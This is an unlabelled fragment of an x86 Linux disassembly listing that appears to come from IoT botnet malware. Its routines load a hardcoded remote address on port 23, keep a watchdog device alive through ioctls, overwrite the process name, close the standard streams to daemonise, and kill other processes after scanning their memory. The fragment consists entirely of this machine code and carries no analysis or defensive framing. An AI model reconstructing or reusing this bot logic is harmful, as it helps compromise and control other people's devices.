804a728: 6a 00 push $0x0
804a72a: e8 10 1c 00 00 call 0x804c33f
804a72f: c7 04 24 0d 00 00 00 movl $0xd,(%esp)
804a736: 89 44 24 24 mov %eax,0x24(%esp)
804a73a: e8 f1 0e 00 00 call 0x804b630
804a73f: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804a746: e8 e5 0e 00 00 call 0x804b630
804a74b: 58 pop %eax
804a74c: 5a pop %edx
804a74d: 6a 00 push $0x0
804a74f: 6a 0d push $0xd
804a751: e8 2a 0e 00 00 call 0x804b580
804a756: 5e pop %esi
804a757: 5d pop %ebp
804a758: 50 push %eax
804a759: 8d 84 24 40 20 00 00 lea 0x2040(%esp),%eax
804a760: 50 push %eax
804a761: e8 ba 14 00 00 call 0x804bc20
804a766: 8d b4 24 44 20 00 00 lea 0x2044(%esp),%esi
804a76d: 59 pop %ecx
804a76e: 01 c6 add %eax,%esi
804a770: 5b pop %ebx
804a771: 57 push %edi
804a772: 56 push %esi
804a773: e8 a8 14 00 00 call 0x804bc20
804a778: 89 c3 mov %eax,%ebx
804a77a: 58 pop %eax
804a77b: 5a pop %edx
804a77c: 6a 00 push $0x0
804a77e: 6a 0e push $0xe
804a780: e8 fb 0d 00 00 call 0x804b580
804a785: 59 pop %ecx
804a786: 5d pop %ebp
804a787: 50 push %eax
804a788: 8d 04 1e lea (%esi,%ebx,1),%eax
804a78b: 50 push %eax
804a78c: e8 8f 14 00 00 call 0x804bc20
804a791: 58 pop %eax
804a792: 5a pop %edx
804a793: 6a 00 push $0x0
804a795: 6a 0d push $0xd
804a797: e8 e4 0d 00 00 call 0x804b580
804a79c: 5e pop %esi
804a79d: 5d pop %ebp
804a79e: 50 push %eax
804a79f: 8d 84 24 80 20 00 00 lea 0x2080(%esp),%eax
804a7a6: 50 push %eax
804a7a7: e8 74 14 00 00 call 0x804bc20
804a7ac: 8d b4 24 84 20 00 00 lea 0x2084(%esp),%esi
804a7b3: 59 pop %ecx
804a7b4: 01 c6 add %eax,%esi
804a7b6: 5b pop %ebx
804a7b7: 57 push %edi
804a7b8: 56 push %esi
804a7b9: e8 62 14 00 00 call 0x804bc20
804a7be: 89 c3 mov %eax,%ebx
804a7c0: 58 pop %eax
804a7c1: 5a pop %edx
804a7c2: 6a 00 push $0x0
804a7c4: 6a 1d push $0x1d
804a7c6: e8 b5 0d 00 00 call 0x804b580
804a7cb: 5f pop %edi
804a7cc: 5d pop %ebp
804a7cd: 50 push %eax
804a7ce: 8d 04 1e lea (%esi,%ebx,1),%eax
804a7d1: 50 push %eax
804a7d2: e8 49 14 00 00 call 0x804bc20
804a7d7: c7 04 24 0d 00 00 00 movl $0xd,(%esp)
804a7de: e8 cd 0d 00 00 call 0x804b5b0
804a7e3: c7 04 24 0e 00 00 00 movl $0xe,(%esp)
804a7ea: e8 c1 0d 00 00 call 0x804b5b0
804a7ef: 83 c4 0c add $0xc,%esp
804a7f2: 68 ff 0f 00 00 push $0xfff
804a7f7: 8d bc 24 3c 10 00 00 lea 0x103c(%esp),%edi
804a7fe: 57 push %edi
804a7ff: 8d 84 24 40 20 00 00 lea 0x2040(%esp),%eax
804a806: 50 push %eax
804a807: e8 98 1a 00 00 call 0x804c2a4
804a80c: 83 c4 10 add $0x10,%esp
804a80f: 89 c3 mov %eax,%ebx
804a811: 83 f8 ff cmp $0xffffffff,%eax
804a814: 0f 84 2f 01 00 00 je 0x804a949
804a81a: c6 84 04 34 10 00 00 movb $0x0,0x1034(%esp,%eax,1)
804a821: 00
804a822: 83 ec 0c sub $0xc,%esp
804a825: 6a 1e push $0x1e
804a827: e8 04 0e 00 00 call 0x804b630
804a82c: 59 pop %ecx
804a82d: 5e pop %esi
804a82e: 6a 00 push $0x0
804a830: 6a 1e push $0x1e
804a832: e8 49 0d 00 00 call 0x804b580
804a837: 83 c4 0c add $0xc,%esp
804a83a: 50 push %eax
804a83b: 8d 43 ff lea -0x1(%ebx),%eax
804a83e: 50 push %eax
804a83f: 8d bc 24 40 10 00 00 lea 0x1040(%esp),%edi
804a846: 57 push %edi
804a847: e8 54 16 00 00 call 0x804bea0
804a84c: 83 c4 10 add $0x10,%esp
804a84f: 40 inc %eax
804a850: 74 21 je 0x804a873
804a852: 83 ec 0c sub $0xc,%esp
804a855: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax
804a85c: 50 push %eax
804a85d: e8 0b 1b 00 00 call 0x804c36d
804a862: 58 pop %eax
804a863: 5a pop %edx
804a864: 6a 09 push $0x9
804a866: 8b 44 24 2c mov 0x2c(%esp),%eax
804a86a: 50 push %eax
804a86b: e8 42 19 00 00 call 0x804c1b2
804a870: 83 c4 10 add $0x10,%esp
804a873: 83 ec 0c sub $0xc,%esp
804a876: 6a 1e push $0x1e
804a878: e8 33 0d 00 00 call 0x804b5b0
804a87d: e8 a5 18 00 00 call 0x804c127
804a882: 83 c4 10 add $0x10,%esp
804a885: 39 44 24 20 cmp %eax,0x20(%esp)
804a889: 74 27 je 0x804a8b2
804a88b: e8 bd 18 00 00 call 0x804c14d
804a890: 39 44 24 20 cmp %eax,0x20(%esp)
804a894: 74 1c je 0x804a8b2
804a896: 50 push %eax
804a897: 50 push %eax
804a898: a1 0c f1 04 08 mov 0x804f10c,%eax
804a89d: 50 push %eax
804a89e: 8d bc 24 40 10 00 00 lea 0x1040(%esp),%edi
804a8a5: 57 push %edi
804a8a6: e8 75 16 00 00 call 0x804bf20
804a8ab: 83 c4 10 add $0x10,%esp
804a8ae: 84 c0 test %al,%al
804a8b0: 74 5f je 0x804a911
804a8b2: 8b 6c 24 20 mov 0x20(%esp),%ebp
804a8b6: 8b 74 24 14 mov 0x14(%esp),%esi
804a8ba: e9 01 fe ff ff jmp 0x804a6c0
804a8bf: 83 ec 0c sub $0xc,%esp
804a8c2: 8b 44 24 28 mov 0x28(%esp),%eax
804a8c6: 50 push %eax
804a8c7: e8 05 1b 00 00 call 0x804c3d1
804a8cc: 83 c4 10 add $0x10,%esp
804a8cf: e9 24 fb ff ff jmp 0x804a3f8
804a8d4: 81 7c 24 20 90 01 00 cmpl $0x190,0x20(%esp)
804a8db: 00
804a8dc: 0f 8e de fd ff ff jle 0x804a6c0
804a8e2: b8 cd cc cc cc mov $0xcccccccd,%eax
804a8e7: f7 64 24 18 mull 0x18(%esp)
804a8eb: 89 d0 mov %edx,%eax
804a8ed: c1 e8 03 shr $0x3,%eax
804a8f0: 8d 04 80 lea (%eax,%eax,4),%eax
804a8f3: 01 c0 add %eax,%eax
804a8f5: 39 44 24 18 cmp %eax,0x18(%esp)
804a8f9: 0f 85 c1 fd ff ff jne 0x804a6c0
804a8ff: 83 ec 0c sub $0xc,%esp
804a902: 6a 01 push $0x1
804a904: e8 83 31 00 00 call 0x804da8c
804a909: 83 c4 10 add $0x10,%esp
804a90c: e9 af fd ff ff jmp 0x804a6c0
804a911: 50 push %eax
804a912: 50 push %eax
804a913: 6a 00 push $0x0
804a915: 8d 84 24 40 10 00 00 lea 0x1040(%esp),%eax
804a91c: 50 push %eax
804a91d: e8 c2 18 00 00 call 0x804c1e4
804a922: 83 c4 10 add $0x10,%esp
804a925: 89 c3 mov %eax,%ebx
804a927: 83 f8 ff cmp $0xffffffff,%eax
804a92a: 75 11 jne 0x804a93d
804a92c: 55 push %ebp
804a92d: 55 push %ebp
804a92e: 6a 09 push $0x9
804a930: 8b 7c 24 2c mov 0x2c(%esp),%edi
804a934: 57 push %edi
804a935: e8 78 18 00 00 call 0x804c1b2
804a93a: 83 c4 10 add $0x10,%esp
804a93d: 83 ec 0c sub $0xc,%esp
804a940: 53 push %ebx
804a941: e8 8d 17 00 00 call 0x804c0d3
804a946: 83 c4 10 add $0x10,%esp
804a949: 56 push %esi
804a94a: 56 push %esi
804a94b: 6a 00 push $0x0
804a94d: 8d bc 24 40 20 00 00 lea 0x2040(%esp),%edi
804a954: 57 push %edi
804a955: e8 8a 18 00 00 call 0x804c1e4
804a95a: 89 44 24 38 mov %eax,0x38(%esp)
804a95e: 83 c4 10 add $0x10,%esp
804a961: 40 inc %eax
804a962: 0f 84 f9 00 00 00 je 0x804aa61
804a968: 83 ec 0c sub $0xc,%esp
804a96b: 6a 12 push $0x12
804a96d: e8 be 0c 00 00 call 0x804b630
804a972: c7 04 24 13 00 00 00 movl $0x13,(%esp)
804a979: e8 b2 0c 00 00 call 0x804b630
804a97e: 59 pop %ecx
804a97f: 5b pop %ebx
804a980: 8d 84 24 10 21 00 00 lea 0x2110(%esp),%eax
804a987: 50 push %eax
804a988: 6a 12 push $0x12
804a98a: e8 f1 0b 00 00 call 0x804b580
804a98f: 89 44 24 34 mov %eax,0x34(%esp)
804a993: 58 pop %eax
804a994: 5a pop %edx
804a995: 8d 84 24 0c 21 00 00 lea 0x210c(%esp),%eax
804a99c: 50 push %eax
804a99d: 6a 13 push $0x13
804a99f: e8 dc 0b 00 00 call 0x804b580
804a9a4: 83 c4 10 add $0x10,%esp
804a9a7: 89 c5 mov %eax,%ebp
804a9a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
804a9b0: 50 push %eax
804a9b1: 68 00 10 00 00 push $0x1000
804a9b6: 8d 44 24 3c lea 0x3c(%esp),%eax
804a9ba: 50 push %eax
804a9bb: 8b 44 24 34 mov 0x34(%esp),%eax
804a9bf: 50 push %eax
804a9c0: e8 a9 18 00 00 call 0x804c26e
804a9c5: 83 c4 10 add $0x10,%esp
804a9c8: 89 c1 mov %eax,%ecx
804a9ca: 85 c0 test %eax,%eax
804a9cc: 0f 8e 36 01 00 00 jle 0x804ab08
804a9d2: 8b 84 24 08 21 00 00 mov 0x2108(%esp),%eax
804a9d9: 89 44 24 0c mov %eax,0xc(%esp)
804a9dd: 39 c1 cmp %eax,%ecx
804a9df: 7c 23 jl 0x804aa04
804a9e1: 89 ca mov %ecx,%edx
804a9e3: 31 f6 xor %esi,%esi
804a9e5: 4a dec %edx
804a9e6: 8d 5c 24 34 lea 0x34(%esp),%ebx
804a9ea: 83 fa ff cmp $0xffffffff,%edx
804a9ed: 74 15 je 0x804aa04
804a9ef: 90 nop
804a9f0: 8b 7c 24 24 mov 0x24(%esp),%edi
804a9f4: 8a 03 mov (%ebx),%al
804a9f6: 3a 04 37 cmp (%edi,%esi,1),%al
804a9f9: 74 2d je 0x804aa28
804a9fb: 31 f6 xor %esi,%esi
804a9fd: 4a dec %edx
804a9fe: 43 inc %ebx
804a9ff: 83 fa ff cmp $0xffffffff,%edx
804aa02: 75 ec jne 0x804a9f0
804aa04: 8b b4 24 04 21 00 00 mov 0x2104(%esp),%esi
804aa0b: 39 f1 cmp %esi,%ecx
804aa0d: 7c a1 jl 0x804a9b0
804aa0f: 8d 54 24 34 lea 0x34(%esp),%edx
804aa13: 31 db xor %ebx,%ebx
804aa15: 49 dec %ecx
804aa16: 83 f9 ff cmp $0xffffffff,%ecx
804aa19: 74 95 je 0x804a9b0
804aa1b: 8a 02 mov (%edx),%al
804aa1d: 3a 44 1d 00 cmp 0x0(%ebp,%ebx,1),%al
804aa21: 74 7d je 0x804aaa0
804aa23: 31 db xor %ebx,%ebx
804aa25: 42 inc %edx
804aa26: eb ed jmp 0x804aa15
804aa28: 46 inc %esi
804aa29: 39 74 24 0c cmp %esi,0xc(%esp)
804aa2d: 75 ce jne 0x804a9fd
804aa2f: 83 ec 0c sub $0xc,%esp
804aa32: 6a 12 push $0x12
804aa34: e8 77 0b 00 00 call 0x804b5b0
804aa39: c7 04 24 13 00 00 00 movl $0x13,(%esp)
804aa40: e8 6b 0b 00 00 call 0x804b5b0
804aa45: 58 pop %eax
804aa46: 8b 6c 24 34 mov 0x34(%esp),%ebp
804aa4a: 55 push %ebp
804aa4b: e8 83 16 00 00 call 0x804c0d3
804aa50: 5e pop %esi
804aa51: 5f pop %edi
804aa52: 6a 09 push $0x9
804aa54: 8b 5c 24 2c mov 0x2c(%esp),%ebx
804aa58: 53 push %ebx
804aa59: e8 54 17 00 00 call 0x804c1b2
804aa5e: 83 c4 10 add $0x10,%esp
804aa61: 51 push %ecx
804aa62: 51 push %ecx
804aa63: 6a 40 push $0x40
804aa65: 8d bc 24 40 20 00 00 lea 0x2040(%esp),%edi
804aa6c: 57 push %edi
804aa6d: e8 1e 12 00 00 call 0x804bc90
804aa72: 58 pop %eax
804aa73: 5a pop %edx
804aa74: 6a 40 push $0x40
804aa76: 8d 84 24 80 20 00 00 lea 0x2080(%esp),%eax
804aa7d: 50 push %eax
804aa7e: e8 0d 12 00 00 call 0x804bc90
804aa83: c7 04 24 01 00 00 00 movl $0x1,(%esp)
804aa8a: e8 fd 2f 00 00 call 0x804da8c
804aa8f: 8b 6c 24 30 mov 0x30(%esp),%ebp
804aa93: 8b 74 24 24 mov 0x24(%esp),%esi
804aa97: 83 c4 10 add $0x10,%esp
804aa9a: e9 21 fc ff ff jmp 0x804a6c0
804aa9f: 90 nop
804aaa0: 43 inc %ebx
804aaa1: 39 de cmp %ebx,%esi
804aaa3: 74 8a je 0x804aa2f
804aaa5: 42 inc %edx
804aaa6: e9 6a ff ff ff jmp 0x804aa15
804aaab: 83 ec 0c sub $0xc,%esp
804aaae: 68 d0 a5 00 00 push $0xa5d0
804aab3: e8 88 f1 ff ff call 0x8049c40
804aab8: 83 c4 10 add $0x10,%esp
804aabb: 84 c0 test %al,%al
804aabd: 0f 85 2a fb ff ff jne 0x804a5ed
804aac3: 83 ec 0c sub $0xc,%esp
804aac6: 68 00 50 00 00 push $0x5000
804aacb: e8 70 f1 ff ff call 0x8049c40
804aad0: 83 c4 10 add $0x10,%esp
804aad3: 84 c0 test %al,%al
804aad5: 0f 85 12 fb ff ff jne 0x804a5ed
804aadb: 83 ec 0c sub $0xc,%esp
804aade: 68 ce 85 00 00 push $0x85ce
804aae3: e8 58 f1 ff ff call 0x8049c40
804aae8: 83 c4 10 add $0x10,%esp
804aaeb: 84 c0 test %al,%al
804aaed: 0f 85 fa fa ff ff jne 0x804a5ed
804aaf3: 83 ec 0c sub $0xc,%esp
804aaf6: 68 91 5f 00 00 push $0x5f91
804aafb: e8 40 f1 ff ff call 0x8049c40
804ab00: 83 c4 10 add $0x10,%esp
804ab03: e9 e5 fa ff ff jmp 0x804a5ed
804ab08: 83 ec 0c sub $0xc,%esp
804ab0b: 6a 12 push $0x12
804ab0d: e8 9e 0a 00 00 call 0x804b5b0
804ab12: c7 04 24 13 00 00 00 movl $0x13,(%esp)
804ab19: e8 92 0a 00 00 call 0x804b5b0
804ab1e: 58 pop %eax
804ab1f: 8b 44 24 34 mov 0x34(%esp),%eax
804ab23: 50 push %eax
804ab24: e8 aa 15 00 00 call 0x804c0d3
804ab29: 83 c4 10 add $0x10,%esp
804ab2c: e9 30 ff ff ff jmp 0x804aa61
804ab31: 90 nop
804ab32: 90 nop
804ab33: 90 nop
804ab34: 90 nop
804ab35: 90 nop
804ab36: 90 nop
804ab37: 90 nop
804ab38: 90 nop
804ab39: 90 nop
804ab3a: 90 nop
804ab3b: 90 nop
804ab3c: 90 nop
804ab3d: 90 nop
804ab3e: 90 nop
804ab3f: 90 nop
804ab40: 83 ec 18 sub $0x18,%esp
804ab43: 6a 01 push $0x1
804ab45: e8 e6 0a 00 00 call 0x804b630
804ab4a: c7 04 24 82 e8 04 08 movl $0x804e882,(%esp)
804ab51: e8 e1 1a 00 00 call 0x804c637
804ab56: a3 18 f1 04 08 mov %eax,0x804f118
804ab5b: 58 pop %eax
804ab5c: 5a pop %edx
804ab5d: 6a 00 push $0x0
804ab5f: 6a 01 push $0x1
804ab61: e8 1a 0a 00 00 call 0x804b580
804ab66: 66 8b 00 mov (%eax),%ax
804ab69: c7 04 24 01 00 00 00 movl $0x1,(%esp)
804ab70: 66 a3 16 f1 04 08 mov %ax,0x804f116
804ab76: e8 35 0a 00 00 call 0x804b5b0
804ab7b: 83 c4 1c add $0x1c,%esp
804ab7e: c3 ret
804ab7f: 90 nop
804ab80: 53 push %ebx
804ab81: 83 ec 18 sub $0x18,%esp
804ab84: e8 78 15 00 00 call 0x804c101
804ab89: a3 c8 f0 04 08 mov %eax,0x804f0c8
804ab8e: 85 c0 test %eax,%eax
804ab90: 7e 05 jle 0x804ab97
804ab92: 83 c4 18 add $0x18,%esp
804ab95: 5b pop %ebx
804ab96: c3 ret
804ab97: 40 inc %eax
804ab98: 74 f8 je 0x804ab92
804ab9a: c7 44 24 14 01 00 00 movl $0x1,0x14(%esp)
804aba1: 00
804aba2: 83 ec 0c sub $0xc,%esp
804aba5: 6a 17 push $0x17
804aba7: e8 84 0a 00 00 call 0x804b630
804abac: c7 04 24 18 00 00 00 movl $0x18,(%esp)
804abb3: e8 78 0a 00 00 call 0x804b630
804abb8: 5b pop %ebx
804abb9: 58 pop %eax
804abba: 6a 00 push $0x0
804abbc: 6a 17 push $0x17
804abbe: e8 bd 09 00 00 call 0x804b580
804abc3: 5a pop %edx
804abc4: 59 pop %ecx
804abc5: 6a 02 push $0x2
804abc7: 50 push %eax
804abc8: e8 17 16 00 00 call 0x804c1e4
804abcd: 83 c4 10 add $0x10,%esp
804abd0: 89 c3 mov %eax,%ebx
804abd2: 83 f8 ff cmp $0xffffffff,%eax
804abd5: 74 38 je 0x804ac0f
804abd7: 50 push %eax
804abd8: 8d 44 24 18 lea 0x18(%esp),%eax
804abdc: 50 push %eax
804abdd: 68 04 57 04 80 push $0x80045704
804abe2: 53 push %ebx
804abe3: e8 8b 15 00 00 call 0x804c173
804abe8: 83 c4 10 add $0x10,%esp
804abeb: 90 nop
804abec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
804abf0: 51 push %ecx
804abf1: 6a 00 push $0x0
804abf3: 68 05 57 04 80 push $0x80045705
804abf8: 53 push %ebx
804abf9: e8 75 15 00 00 call 0x804c173
804abfe: c7 04 24 0a 00 00 00 movl $0xa,(%esp)
804ac05: e8 82 2e 00 00 call 0x804da8c
804ac0a: 83 c4 10 add $0x10,%esp
804ac0d: eb e1 jmp 0x804abf0
804ac0f: 53 push %ebx
804ac10: 53 push %ebx
804ac11: 6a 00 push $0x0
804ac13: 6a 18 push $0x18
804ac15: e8 66 09 00 00 call 0x804b580
804ac1a: 5a pop %edx
804ac1b: 59 pop %ecx
804ac1c: 6a 02 push $0x2
804ac1e: 50 push %eax
804ac1f: e8 c0 15 00 00 call 0x804c1e4
804ac24: 83 c4 10 add $0x10,%esp
804ac27: 89 c3 mov %eax,%ebx
804ac29: 83 f8 ff cmp $0xffffffff,%eax
804ac2c: 75 a9 jne 0x804abd7
804ac2e: 83 ec 0c sub $0xc,%esp
804ac31: 6a 17 push $0x17
804ac33: e8 78 09 00 00 call 0x804b5b0
804ac38: c7 04 24 18 00 00 00 movl $0x18,(%esp)
804ac3f: e8 6c 09 00 00 call 0x804b5b0
804ac44: c7 04 24 00 00 00 00 movl $0x0,(%esp)
804ac4b: e8 d5 2d 00 00 call 0x804da25
804ac50: 8d 4c 24 04 lea 0x4(%esp),%ecx
804ac54: 83 e4 f0 and $0xfffffff0,%esp
804ac57: ff 71 fc pushl -0x4(%ecx)
804ac5a: 55 push %ebp
804ac5b: 57 push %edi
804ac5c: 56 push %esi
804ac5d: 53 push %ebx
804ac5e: 51 push %ecx
804ac5f: 81 ec 88 05 00 00 sub $0x588,%esp
804ac65: 8b 19 mov (%ecx),%ebx
804ac67: 8b 69 04 mov 0x4(%ecx),%ebp
804ac6a: c7 84 24 78 05 00 00 movl $0x0,0x578(%esp)
804ac71: 00 00 00 00
804ac75: e8 a6 11 00 00 call 0x804be20
804ac7a: 66 c7 05 14 f1 04 08 movw $0x2,0x804f114
804ac81: 02 00
804ac83: a3 08 f1 04 08 mov %eax,0x804f108
804ac88: c7 05 18 f1 04 08 b0 movl $0x591a7bb0,0x804f118
804ac8f: 7b 1a 59
804ac92: 66 c7 05 16 f1 04 08 movw $0x1700,0x804f116
804ac99: 00 17
804ac9b: e8 10 0a 00 00 call 0x804b6b0
804aca0: c7 05 30 f0 04 08 40 movl $0x804ab40,0x804f030
804aca7: ab 04 08
804acaa: e8 f1 06 00 00 call 0x804b3a0
804acaf: 50 push %eax
804acb0: 50 push %eax
804acb1: 6a 20 push $0x20
804acb3: 8d 84 24 3c 05 00 00 lea 0x53c(%esp),%eax
804acba: 50 push %eax
804acbb: e8 d0 0f 00 00 call 0x804bc90
804acc0: 83 c4 10 add $0x10,%esp
804acc3: 83 fb 02 cmp $0x2,%ebx
804acc6: 0f 84 27 01 00 00 je 0x804adf3
804accc: e8 7f 06 00 00 call 0x804b350
804acd1: 83 ec 0c sub $0xc,%esp
804acd4: 89 c7 mov %eax,%edi
804acd6: 8b 45 00 mov 0x0(%ebp),%eax
804acd9: 50 push %eax
804acda: e8 21 0f 00 00 call 0x804bc00
804acdf: 5e pop %esi
804ace0: 8b 4d 00 mov 0x0(%ebp),%ecx
804ace3: 51 push %ecx
804ace4: 89 c3 mov %eax,%ebx
804ace6: e8 15 0f 00 00 call 0x804bc00
804aceb: be 14 00 00 00 mov $0x14,%esi
804acf0: 89 c1 mov %eax,%ecx
804acf2: 89 f0 mov %esi,%eax
804acf4: 29 d8 sub %ebx,%eax
804acf6: 31 d2 xor %edx,%edx
804acf8: 89 c3 mov %eax,%ebx
804acfa: 89 f8 mov %edi,%eax
804acfc: f7 f3 div %ebx
804acfe: 89 d3 mov %edx,%ebx
804ad00: 8d bc 24 60 05 00 00 lea 0x560(%esp),%edi
804ad07: 01 cb add %ecx,%ebx
804ad09: 58 pop %eax
804ad0a: 5a pop %edx
804ad0b: 53 push %ebx
804ad0c: 57 push %edi
804ad0d: e8 ce 06 00 00 call 0x804b3e0
804ad12: c6 84 1c 60 05 00 00 movb $0x0,0x560(%esp,%ebx,1)
804ad19: 00
804ad1a: 5b pop %ebx
804ad1b: 58 pop %eax
804ad1c: 57 push %edi
804ad1d: 8b 4d 00 mov 0x0(%ebp),%ecx
804ad20: 51 push %ecx
804ad21: e8 fa 0e 00 00 call 0x804bc20
804ad26: 58 pop %eax
804ad27: 5a pop %edx
804ad28: 6a 20 push $0x20
804ad2a: 57 push %edi
804ad2b: e8 60 0f 00 00 call 0x804bc90
804ad30: e8 1b 06 00 00 call 0x804b350
804ad35: 89 44 24 2c mov %eax,0x2c(%esp)
804ad39: 58 pop %eax
804ad3a: 8b 45 00 mov 0x0(%ebp),%eax
804ad3d: 50 push %eax
804ad3e: e8 bd 0e 00 00 call 0x804bc00
804ad43: 8b 4d 00 mov 0x0(%ebp),%ecx
804ad46: 89 c3 mov %eax,%ebx
804ad48: 58 pop %eax
804ad49: 29 de sub %ebx,%esi
804ad4b: 51 push %ecx
804ad4c: e8 af 0e 00 00 call 0x804bc00
804ad51: 31 d2 xor %edx,%edx
804ad53: 89 c1 mov %eax,%ecx
804ad55: 8b 44 24 2c mov 0x2c(%esp),%eax
804ad59: f7 f6 div %esi
804ad5b: 89 d3 mov %edx,%ebx
804ad5d: 58 pop %eax
804ad5e: 01 cb add %ecx,%ebx
804ad60: 5a pop %edx
804ad61: 53 push %ebx
804ad62: 57 push %edi
804ad63: e8 78 06 00 00 call 0x804b3e0
804ad68: c6 84 1c 60 05 00 00 movb $0x0,0x560(%esp,%ebx,1)
804ad6f: 00
804ad70: 5d pop %ebp
804ad71: 58 pop %eax
804ad72: 57 push %edi
804ad73: 6a 0f push $0xf
804ad75: e8 b5 14 00 00 call 0x804c22f
804ad7a: c7 04 24 03 00 00 00 movl $0x3,(%esp)
804ad81: e8 aa 08 00 00 call 0x804b630
804ad86: 5e pop %esi
804ad87: 5f pop %edi
804ad88: 8d 84 24 80 05 00 00 lea 0x580(%esp),%eax
804ad8f: 50 push %eax
804ad90: 6a 03 push $0x3
804ad92: e8 e9 07 00 00 call 0x804b580
804ad97: 83 c4 0c add $0xc,%esp
804ad9a: 8b 9c 24 7c 05 00 00 mov 0x57c(%esp),%ebx
804ada1: 53 push %ebx
804ada2: 50 push %eax
804ada3: 6a 01 push $0x1
804ada5: e8 f1 15 00 00 call 0x804c39b
804adaa: 83 c4 0c add $0xc,%esp
804adad: 6a 01 push $0x1
804adaf: 68 92 e8 04 08 push $0x804e892
804adb4: 6a 01 push $0x1
804adb6: e8 e0 15 00 00 call 0x804c39b
804adbb: c7 04 24 03 00 00 00 movl $0x3,(%esp)
804adc2: e8 e9 07 00 00 call 0x804b5b0
804adc7: e8 e4 d7 ff ff call 0x80485b0
804adcc: e8 bf f4 ff ff call 0x804a290
804add1: e8 aa fd ff ff call 0x804ab80
804add6: e8 26 13 00 00 call 0x804c101
804addb: 83 c4 10 add $0x10,%esp
804adde: 85 c0 test %eax,%eax
804ade0: 7e 5e jle 0x804ae40
804ade2: 81 c4 88 05 00 00 add $0x588,%esp
804ade8: 31 c0 xor %eax,%eax
804adea: 59 pop %ecx
804adeb: 5b pop %ebx
804adec: 5e pop %esi
804aded: 5f pop %edi
804adee: 5d pop %ebp
804adef: 8d 61 fc lea -0x4(%ecx),%esp
804adf2: c3 ret
804adf3: 83 ec 0c sub $0xc,%esp
804adf6: 8b 45 04 mov 0x4(%ebp),%eax
804adf9: 50 push %eax
804adfa: e8 01 0e 00 00 call 0x804bc00
804adff: 83 c4 10 add $0x10,%esp
804ae02: 83 f8 1f cmp $0x1f,%eax
804ae05: 0f 8f c1 fe ff ff jg 0x804accc
804ae0b: 50 push %eax
804ae0c: 50 push %eax
804ae0d: 8b 7d 04 mov 0x4(%ebp),%edi
804ae10: 57 push %edi
804ae11: 8d 94 24 3c 05 00 00 lea 0x53c(%esp),%edx
804ae18: 52 push %edx
804ae19: e8 02 0e 00 00 call 0x804bc20
804ae1e: 5e pop %esi
804ae1f: 8b 5d 04 mov 0x4(%ebp),%ebx
804ae22: 53 push %ebx
804ae23: e8 d8 0d 00 00 call 0x804bc00
804ae28: 5a pop %edx
804ae29: 59 pop %ecx
804ae2a: 50 push %eax
804ae2b: 8b 45 04 mov 0x4(%ebp),%eax
804ae2e: 50 push %eax
804ae2f: e8 5c 0e 00 00 call 0x804bc90
804ae34: 83 c4 10 add $0x10,%esp
804ae37: e9 90 fe ff ff jmp 0x804accc
804ae3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
804ae40: e8 d4 14 00 00 call 0x804c319
804ae45: 83 ec 0c sub $0xc,%esp
804ae48: 6a 00 push $0x0
804ae4a: e8 84 12 00 00 call 0x804c0d3
804ae4f: c7 04 24 01 00 00 00 movl $0x1,(%esp)
804ae56: e8 78 12 00 00 call 0x804c0d3
804ae5b: c7 04 24 02 00 00 00 movl $0x2,(%esp)
804ae62: e8 6c 12 00 00 call 0x804c0d3
804ae67: e8 44 d7 ff ff call 0x80485b0
804ae6c: e8 1f f4 ff ff call 0x804a290
804ae71: e8 0a fd ff ff call 0x804ab80
804ae76: c7 44 24 30 00 00 00 movl $0x0,0x30(%esp)
804ae7d: 00
804ae7e: 83 c4 10 add $0x10,%esp
804ae81: 8d ac 24 b0 04 00 00 lea 0x4b0(%esp),%ebp
804ae88: 8d b4 24 30 04 00 00 lea 0x430(%esp),%esi
804ae8f: 90 nop
804ae90: ba 20 00 00 00 mov $0x20,%edx
804ae95: 31 c0 xor %eax,%eax
804ae97: 89 d1 mov %edx,%ecx
804ae99: 89 ef mov %ebp,%edi
804ae9b: fc cld
804ae9c: f3 ab rep stos %eax,%es:(%edi)
804ae9e: 89 d1 mov %edx,%ecx
804aea0: 89 f7 mov %esi,%edi
804aea2: fc cld
804aea3: f3 ab rep stos %eax,%es:(%edi)
804aea5: 8b 15 28 f0 04 08 mov 0x804f028,%edx
804aeab: 83 fa ff cmp $0xffffffff,%edx
804aeae: 74 10 je 0x804aec0
804aeb0: 89 d0 mov %edx,%eax
804aeb2: 83 e2 1f and $0x1f,%edx
804aeb5: c1 e8 05 shr $0x5,%eax
804aeb8: 0f ab 94 84 b0 04 00 bts %edx,0x4b0(%esp,%eax,4)
804aebf: 00
804aec0: 83 3d 2c f0 04 08 ff cmpl $0xffffffff,0x804f02c
804aec7: 0f 84 fa 01 00 00 je 0x804b0c7
804aecd: 80 3d cc f0 04 08 00 cmpb $0x0,0x804f0cc
804aed4: 0f 84 ec 00 00 00 je 0x804afc6
804aeda: a1 2c f0 04 08 mov 0x804f02c,%eax
804aedf: 89 c2 mov %eax,%edx
804aee1: 83 e0 1f and $0x1f,%eax
804aee4: c1 ea 05 shr $0x5,%edx
804aee7: 0f ab 84 94 30 04 00 bts %eax,0x430(%esp,%edx,4)
804aeee: 00
804aeef: 8b 15 2c f0 04 08 mov 0x804f02c,%edx
804aef5: a1 28 f0 04 08 mov 0x804f028,%eax
804aefa: 39 d0 cmp %edx,%eax
804aefc: 7d 02 jge 0x804af00
804aefe: 89 d0 mov %edx,%eax
804af00: c7 84 24 74 05 00 00 movl $0x0,0x574(%esp)
804af07: 00 00 00 00
804af0b: c7 84 24 70 05 00 00 movl $0xa,0x570(%esp)
804af12: 0a 00 00 00
804af16: 83 ec 0c sub $0xc,%esp
804af19: 40 inc %eax
804af1a: 8d 94 24 7c 05 00 00 lea 0x57c(%esp),%edx
804af21: 52 push %edx
804af22: 6a 00 push $0x0
804af24: 56 push %esi
804af25: 55 push %ebp
804af26: 50 push %eax
804af27: e8 ae 13 00 00 call 0x804c2da
804af2c: 83 c4 20 add $0x20,%esp
804af2f: 83 f8 ff cmp $0xffffffff,%eax
804af32: 0f 84 58 ff ff ff je 0x804ae90
804af38: 85 c0 test %eax,%eax
804af3a: 75 2a jne 0x804af66
804af3c: 8b 54 24 20 mov 0x20(%esp),%edx
804af40: b0 06 mov $0x6,%al
804af42: 89 c1 mov %eax,%ecx
804af44: 89 d0 mov %edx,%eax
804af46: c1 fa 1f sar $0x1f,%edx
804af49: 66 c7 84 24 86 05 00 movw $0x0,0x586(%esp)
